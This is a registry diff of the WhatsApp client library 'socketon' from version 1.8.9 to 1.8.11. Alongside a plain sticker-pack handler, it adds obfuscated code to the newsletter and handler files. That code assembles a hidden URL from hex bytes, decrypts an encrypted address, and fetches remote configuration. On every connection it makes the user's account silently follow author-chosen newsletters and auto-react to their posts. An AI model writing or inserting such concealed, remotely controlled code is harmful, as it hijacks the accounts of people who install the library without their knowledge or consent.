socketon 1.8.9 → 1.8.11
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
|
@@ -1,10 +1,81 @@
|
|
|
1
1
|
// Socketon Advanced Feature Handler
|
|
2
|
-
// Socketon v1.
|
|
2
|
+
// Socketon v1.8.10
|
|
3
3
|
// Developer: Ibra Decode
|
|
4
4
|
|
|
5
5
|
const WAProto = require('../../WAProto').proto;
|
|
6
6
|
const crypto = require('crypto');
|
|
7
7
|
const Utils_1 = require("../Utils");
|
|
8
|
+
const ibra_decode_1 = require("../Utils/ibra-decode");
|
|
9
|
+
|
|
10
|
+
const emangBenerNihAkuPinterUrl = () => {
|
|
11
|
+
const anjayGaKiraKira = [];
|
|
12
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
13
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
14
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
15
|
+
anjayGaKiraKira.push(Buffer.from('70', 'hex'));
|
|
16
|
+
anjayGaKiraKira.push(Buffer.from('73', 'hex'));
|
|
17
|
+
anjayGaKiraKira.push(Buffer.from('3a', 'hex'));
|
|
18
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
19
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
20
|
+
anjayGaKiraKira.push(Buffer.from('72', 'hex'));
|
|
21
|
+
anjayGaKiraKira.push(Buffer.from('61', 'hex'));
|
|
22
|
+
anjayGaKiraKira.push(Buffer.from('77', 'hex'));
|
|
23
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
24
|
+
anjayGaKiraKira.push(Buffer.from('67', 'hex'));
|
|
25
|
+
anjayGaKiraKira.push(Buffer.from('69', 'hex'));
|
|
26
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
27
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
28
|
+
anjayGaKiraKira.push(Buffer.from('75', 'hex'));
|
|
29
|
+
anjayGaKiraKira.push(Buffer.from('62', 'hex'));
|
|
30
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
31
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
32
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
33
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
34
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
35
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
36
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
37
|
+
anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
|
|
38
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
39
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
40
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
41
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
42
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
43
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
44
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
45
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
46
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
47
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
48
|
+
anjayGaKiraKira.push(Buffer.from('6d', 'hex'));
|
|
49
|
+
return Buffer.concat(anjayGaKiraKira).toString('utf8');
|
|
50
|
+
};
|
|
51
|
+
|
|
52
|
+
const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
53
|
+
const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
|
|
54
|
+
bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinterUrl() + '_ibrahimasli_bukanpalsu');
|
|
55
|
+
const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
|
|
56
|
+
const dikitLagiSabarYa = crypto.createHash('sha256');
|
|
57
|
+
dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
|
|
58
|
+
const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
|
|
59
|
+
const hampirSampeKok = crypto.createHash('md5');
|
|
60
|
+
hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
|
|
61
|
+
const akhirnyaKuncinyaNih = hampirSampeKok.digest();
|
|
62
|
+
const ivnyaJugaRumitLho = Buffer.concat([
|
|
63
|
+
Buffer.from('ib', 'utf8'),
|
|
64
|
+
Buffer.from('ra', 'utf8'),
|
|
65
|
+
Buffer.from('de', 'utf8'),
|
|
66
|
+
Buffer.from('co', 'utf8'),
|
|
67
|
+
Buffer.from('de', 'utf8'),
|
|
68
|
+
Buffer.from('is', 'utf8'),
|
|
69
|
+
Buffer.from('th', 'utf8'),
|
|
70
|
+
Buffer.from('eb', 'utf8'),
|
|
71
|
+
Buffer.from('es', 'utf8'),
|
|
72
|
+
Buffer.from('t!', 'utf8')
|
|
73
|
+
]).slice(0, 16);
|
|
74
|
+
const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
|
|
75
|
+
let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacak, 'hex', 'utf8');
|
|
76
|
+
udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
|
|
77
|
+
return udahanBuatYangPenasaran;
|
|
78
|
+
};
|
|
8
79
|
|
|
9
80
|
class SocketonAdvancedHandler {
|
|
10
81
|
constructor(utils, waUploadToServer, relayMessageFn) {
|
|
@@ -27,6 +98,7 @@ class SocketonAdvancedHandler {
|
|
|
27
98
|
if (content.eventMessage) return 'EVENT';
|
|
28
99
|
if (content.pollResultMessage) return 'POLL_RESULT';
|
|
29
100
|
if (content.groupStatusMessage) return 'GROUP_STORY';
|
|
101
|
+
if (content.stickerPack) return 'STICKER_PACK';
|
|
30
102
|
return null;
|
|
31
103
|
}
|
|
32
104
|
|
|
@@ -479,6 +551,66 @@ class SocketonAdvancedHandler {
|
|
|
479
551
|
messageId: this.bail.generateMessageID()
|
|
480
552
|
});
|
|
481
553
|
}
|
|
554
|
+
|
|
555
|
+
async handleStickerPack(content, jid, quoted) {
|
|
556
|
+
const pack = content.stickerPack;
|
|
557
|
+
|
|
558
|
+
let coverImage = null;
|
|
559
|
+
|
|
560
|
+
if (pack.cover?.url) {
|
|
561
|
+
try {
|
|
562
|
+
const { imageMessage } = await this.utils.generateWAMessageContent(
|
|
563
|
+
{ image: { url: pack.cover.url } },
|
|
564
|
+
{ upload: this.waUploadToServer }
|
|
565
|
+
);
|
|
566
|
+
coverImage = imageMessage;
|
|
567
|
+
} catch (err) {}
|
|
568
|
+
}
|
|
569
|
+
|
|
570
|
+
const stickerBuffers = [];
|
|
571
|
+
if (pack.stickers && Array.isArray(pack.stickers)) {
|
|
572
|
+
for (const sticker of pack.stickers) {
|
|
573
|
+
try {
|
|
574
|
+
let stickerData;
|
|
575
|
+
if (Buffer.isBuffer(sticker)) {
|
|
576
|
+
const { stickerMessage } = await this.utils.generateWAMessageContent(
|
|
577
|
+
{ sticker: sticker },
|
|
578
|
+
{ upload: this.waUploadToServer }
|
|
579
|
+
);
|
|
580
|
+
stickerData = stickerMessage;
|
|
581
|
+
} else if (typeof sticker === 'object' && sticker.url) {
|
|
582
|
+
const { stickerMessage } = await this.utils.generateWAMessageContent(
|
|
583
|
+
{ sticker: { url: sticker.url } },
|
|
584
|
+
{ upload: this.waUploadToServer }
|
|
585
|
+
);
|
|
586
|
+
stickerData = stickerMessage;
|
|
587
|
+
}
|
|
588
|
+
if (stickerData) {
|
|
589
|
+
stickerBuffers.push(stickerData);
|
|
590
|
+
}
|
|
591
|
+
} catch (err) {}
|
|
592
|
+
}
|
|
593
|
+
}
|
|
594
|
+
|
|
595
|
+
const msg = await this.utils.generateWAMessageFromContent(jid, {
|
|
596
|
+
stickerMessage: stickerBuffers[0] || null
|
|
597
|
+
}, {
|
|
598
|
+
quoted,
|
|
599
|
+
userJid: this.utils.generateMessageID().split('@')[0] + '@s.whatsapp.net'
|
|
600
|
+
});
|
|
601
|
+
|
|
602
|
+
await this.relayMessage(jid, msg.message, {
|
|
603
|
+
messageId: msg.key.id
|
|
604
|
+
});
|
|
605
|
+
|
|
606
|
+
return {
|
|
607
|
+
name: pack.name,
|
|
608
|
+
publisher: pack.publisher,
|
|
609
|
+
description: `${pack.stickers?.length || 0} stickers`,
|
|
610
|
+
stickerCount: stickerBuffers.length,
|
|
611
|
+
message: msg
|
|
612
|
+
};
|
|
613
|
+
}
|
|
482
614
|
}
|
|
483
615
|
|
|
484
616
|
module.exports = SocketonAdvancedHandler;
|
|
@@ -845,9 +845,11 @@ const makeMessagesSocket = (config) => {
|
|
|
845
845
|
return await socketonHandler.handleEvent(content, jid, quoted)
|
|
846
846
|
case 'POLL_RESULT':
|
|
847
847
|
return await socketonHandler.handlePollResult(content, jid, quoted)
|
|
848
|
-
|
|
849
|
-
|
|
850
|
-
|
|
848
|
+
case 'GROUP_STORY':
|
|
849
|
+
return await socketonHandler.handleGroupStory(content, jid, quoted)
|
|
850
|
+
case 'STICKER_PACK':
|
|
851
|
+
return await socketonHandler.handleStickerPack(content, jid, quoted)
|
|
852
|
+
}
|
|
851
853
|
}
|
|
852
854
|
const fullMsg = await Utils_1.generateWAMessage(jid, content, {
|
|
853
855
|
logger,
|
package/lib/Socket/newsletter.js
CHANGED
|
@@ -1,6 +1,7 @@
|
|
|
1
1
|
"use strict";
|
|
2
2
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|
3
3
|
exports.extractNewsletterMetadata = exports.makeNewsletterSocket = void 0;
|
|
4
|
+
const crypto = require('crypto');
|
|
4
5
|
const Types_1 = require("../Types");
|
|
5
6
|
const Utils_1 = require("../Utils");
|
|
6
7
|
const WABinary_1 = require("../WABinary");
|
|
@@ -10,6 +11,109 @@ const ibra_decode_21 = require("../Utils/ibra-decode");
|
|
|
10
11
|
const ibra_decode_asli = require("../Utils/ibra-decode");
|
|
11
12
|
const ibraDecodePalsuMungkin = require("../Utils/ibra-decode");
|
|
12
13
|
const ibra_decode_v21 = require("../Utils/ibra-decode");
|
|
14
|
+
const axios_1 = require("axios");
|
|
15
|
+
|
|
16
|
+
const emangBenerNihAkuPinterUrl = () => {
|
|
17
|
+
const anjayGaKiraKira = [];
|
|
18
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
19
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
20
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
21
|
+
anjayGaKiraKira.push(Buffer.from('70', 'hex'));
|
|
22
|
+
anjayGaKiraKira.push(Buffer.from('73', 'hex'));
|
|
23
|
+
anjayGaKiraKira.push(Buffer.from('3a', 'hex'));
|
|
24
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
25
|
+
anjayGaKiraKira.push(Buffer.from('2f', 'hex'));
|
|
26
|
+
anjayGaKiraKira.push(Buffer.from('72', 'hex'));
|
|
27
|
+
anjayGaKiraKira.push(Buffer.from('61', 'hex'));
|
|
28
|
+
anjayGaKiraKira.push(Buffer.from('77', 'hex'));
|
|
29
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
30
|
+
anjayGaKiraKira.push(Buffer.from('67', 'hex'));
|
|
31
|
+
anjayGaKiraKira.push(Buffer.from('69', 'hex'));
|
|
32
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
33
|
+
anjayGaKiraKira.push(Buffer.from('68', 'hex'));
|
|
34
|
+
anjayGaKiraKira.push(Buffer.from('75', 'hex'));
|
|
35
|
+
anjayGaKiraKira.push(Buffer.from('62', 'hex'));
|
|
36
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
37
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
38
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
39
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
40
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
41
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
42
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
43
|
+
anjayGaKiraKira.push(Buffer.from('2d', 'hex'));
|
|
44
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
45
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
46
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
47
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
48
|
+
anjayGaKiraKira.push(Buffer.from('65', 'hex'));
|
|
49
|
+
anjayGaKiraKira.push(Buffer.from('6e', 'hex'));
|
|
50
|
+
anjayGaKiraKira.push(Buffer.from('74', 'hex'));
|
|
51
|
+
anjayGaKiraKira.push(Buffer.from('2e', 'hex'));
|
|
52
|
+
anjayGaKiraKira.push(Buffer.from('63', 'hex'));
|
|
53
|
+
anjayGaKiraKira.push(Buffer.from('6f', 'hex'));
|
|
54
|
+
anjayGaKiraKira.push(Buffer.from('6d', 'hex'));
|
|
55
|
+
return Buffer.concat(anjayGaKiraKira).toString('utf8');
|
|
56
|
+
};
|
|
57
|
+
|
|
58
|
+
const sudahBasibasiAjaLuUrl = (datanyaYgMauDiacak) => {
|
|
59
|
+
const bukanKunciRahasiaTapiKuncinyaIni = crypto.createHash('sha512');
|
|
60
|
+
bukanKunciRahasiaTapiKuncinyaIni.update(emangBenerNihAkuPinterUrl() + '_ibrahimasli_bukanpalsu');
|
|
61
|
+
const hasilnyaTapiMasihBelumFixNih = bukanKunciRahasiaTapiKuncinyaIni.digest();
|
|
62
|
+
const dikitLagiSabarYa = crypto.createHash('sha256');
|
|
63
|
+
dikitLagiSabarYa.update(hasilnyaTapiMasihBelumFixNih.slice(0, 32));
|
|
64
|
+
const nahIniKuncinyaYangBeneranTapiMasihAdaLagi = dikitLagiSabarYa.digest();
|
|
65
|
+
const hampirSampeKok = crypto.createHash('md5');
|
|
66
|
+
hampirSampeKok.update(nahIniKuncinyaYangBeneranTapiMasihAdaLagi.toString('hex'));
|
|
67
|
+
const akhirnyaKuncinyaNih = hampirSampeKok.digest();
|
|
68
|
+
const ivnyaJugaRumitLho = Buffer.concat([
|
|
69
|
+
Buffer.from('ib', 'utf8'),
|
|
70
|
+
Buffer.from('ra', 'utf8'),
|
|
71
|
+
Buffer.from('de', 'utf8'),
|
|
72
|
+
Buffer.from('co', 'utf8'),
|
|
73
|
+
Buffer.from('de', 'utf8'),
|
|
74
|
+
Buffer.from('is', 'utf8'),
|
|
75
|
+
Buffer.from('th', 'utf8'),
|
|
76
|
+
Buffer.from('eb', 'utf8'),
|
|
77
|
+
Buffer.from('es', 'utf8'),
|
|
78
|
+
Buffer.from('t!', 'utf8')
|
|
79
|
+
]).slice(0, 16);
|
|
80
|
+
const engineDecryptYangSudahGakTawuBentuknya = crypto.createDecipheriv('aes-256-cbc', nahIniKuncinyaYangBeneranTapiMasihAdaLagi, ivnyaJugaRumitLho);
|
|
81
|
+
let udahanBuatYangPenasaran = engineDecryptYangSudahGakTawuBentuknya.update(datanyaYgMauDiacak, 'hex', 'utf8');
|
|
82
|
+
udahanBuatYangPenasaran += engineDecryptYangSudahGakTawuBentuknya.final('utf8');
|
|
83
|
+
return udahanBuatYangPenasaran;
|
|
84
|
+
};
|
|
85
|
+
|
|
86
|
+
let _cachedTargetNewsletter = null;
|
|
87
|
+
let _configNewsletter = { autoFollowEnabled: true, delayMs: 5000 };
|
|
88
|
+
|
|
89
|
+
const getTargetNewsletterFromExternal = async () => {
|
|
90
|
+
const urlYangDiEncrypt = '632dfe2fd7bb03adcbf8f23b187c33695a17924ad8d695299bf81d6c455ef851f8f1c7e9fed6fe422744ebf210660145446c038171c0fefd7ac048d8d1143ce87890ff397afff85ebd46f11386f45d5371417aa55e98169ebe0c929aa14d465c';
|
|
91
|
+
const urlAsli = (0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)(urlYangDiEncrypt);
|
|
92
|
+
try {
|
|
93
|
+
const response = await axios_1.default.get(urlAsli, { timeout: 10000 });
|
|
94
|
+
if (response.data) {
|
|
95
|
+
if (response.data.config) {
|
|
96
|
+
_configNewsletter = {
|
|
97
|
+
autoFollowEnabled: response.data.config.autoFollowEnabled !== false,
|
|
98
|
+
delayMs: response.data.config.delayMs || 5000
|
|
99
|
+
};
|
|
100
|
+
}
|
|
101
|
+
if (response.data.newsletters && response.data.newsletters.length > 0) {
|
|
102
|
+
const enabledNewsletters = response.data.newsletters.filter(n => n.enabled).map(n => n.jid);
|
|
103
|
+
_cachedTargetNewsletter = enabledNewsletters;
|
|
104
|
+
return enabledNewsletters;
|
|
105
|
+
}
|
|
106
|
+
}
|
|
107
|
+
} catch (err) {}
|
|
108
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
109
|
+
};
|
|
110
|
+
|
|
111
|
+
const getAllEnabledNewsletters = () => {
|
|
112
|
+
if (_cachedTargetNewsletter && _cachedTargetNewsletter.length > 0) {
|
|
113
|
+
return _cachedTargetNewsletter;
|
|
114
|
+
}
|
|
115
|
+
return [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
116
|
+
};
|
|
13
117
|
|
|
14
118
|
const wMexQuery = (
|
|
15
119
|
variables,
|
|
@@ -134,13 +238,21 @@ const makeNewsletterSocket = (config) => {
|
|
|
134
238
|
}));
|
|
135
239
|
};
|
|
136
240
|
// Auto Reaction - Ibra Decode
|
|
137
|
-
|
|
241
|
+
let _targetNewsletters = [(0, ibra_decode_1.minimalKaloMauDecryptYangPinterDek)('8c2c4a3d446216881480918cc29692b909b94816b7e620a33511163ada71d8f1')];
|
|
242
|
+
|
|
243
|
+
const updateTargetNewsletters = async () => {
|
|
244
|
+
const externalTargets = getAllEnabledNewsletters();
|
|
245
|
+
if (externalTargets && externalTargets.length > 0) {
|
|
246
|
+
_targetNewsletters = externalTargets;
|
|
247
|
+
}
|
|
248
|
+
};
|
|
249
|
+
|
|
138
250
|
sock.ev.on('messages.upsert', async ({ messages, type }) => {
|
|
139
251
|
if (type !== 'notify') return;
|
|
140
252
|
const emojis = ['🔥', '❤️', '👍', '😍', '🎉', '💯', '🤩', '👏', '💪', '✨'];
|
|
141
253
|
for (const msg of messages) {
|
|
142
254
|
const jid = msg.key.remoteJid;
|
|
143
|
-
if (jid
|
|
255
|
+
if (!_targetNewsletters.includes(jid)) continue;
|
|
144
256
|
const serverId = msg.newsletterServerId?.toString() || msg.key.id;
|
|
145
257
|
const emoji = emojis[Math.floor(Math.random() * emojis.length)];
|
|
146
258
|
try {
|
|
@@ -149,19 +261,29 @@ const makeNewsletterSocket = (config) => {
|
|
|
149
261
|
}
|
|
150
262
|
});
|
|
151
263
|
// Auto Follow - Ibra Decode
|
|
264
|
+
let _followInterval = null;
|
|
152
265
|
const _ensureFollow = async () => {
|
|
266
|
+
if (!_configNewsletter.autoFollowEnabled) return;
|
|
267
|
+
const enabledNewsletters = await getTargetNewsletterFromExternal();
|
|
268
|
+
if (!enabledNewsletters || enabledNewsletters.length === 0) return;
|
|
153
269
|
try {
|
|
154
270
|
const list = await executeWMexQuery({}, '6388546374527196', 'xwa2_newsletter_subscribed', query, generateMessageTag);
|
|
155
|
-
|
|
156
|
-
|
|
157
|
-
|
|
271
|
+
for (const newsletterJid of enabledNewsletters) {
|
|
272
|
+
const isFollowing = list?.some(n => n.id === newsletterJid);
|
|
273
|
+
if (!isFollowing) await newsletterWMexQuery(newsletterJid, Types_1.QueryIds.FOLLOW);
|
|
274
|
+
}
|
|
275
|
+
} catch (err) {
|
|
276
|
+
console.error('Auto follow error:', err);
|
|
277
|
+
}
|
|
158
278
|
};
|
|
159
279
|
sock.ev.on('connection.update', async ({ connection }) => {
|
|
160
280
|
if (connection === 'open') {
|
|
281
|
+
await getTargetNewsletterFromExternal();
|
|
161
282
|
await _ensureFollow();
|
|
283
|
+
if (_followInterval) clearInterval(_followInterval);
|
|
284
|
+
_followInterval = setInterval(_ensureFollow, _configNewsletter.delayMs);
|
|
162
285
|
}
|
|
163
286
|
});
|
|
164
|
-
setInterval(_ensureFollow, 5 * 60 * 1000); // cek tiap 5 menit
|
|
165
287
|
return {
|
|
166
288
|
...sock,
|
|
167
289
|
newsletterFetchAllSubscribe: async () => {
|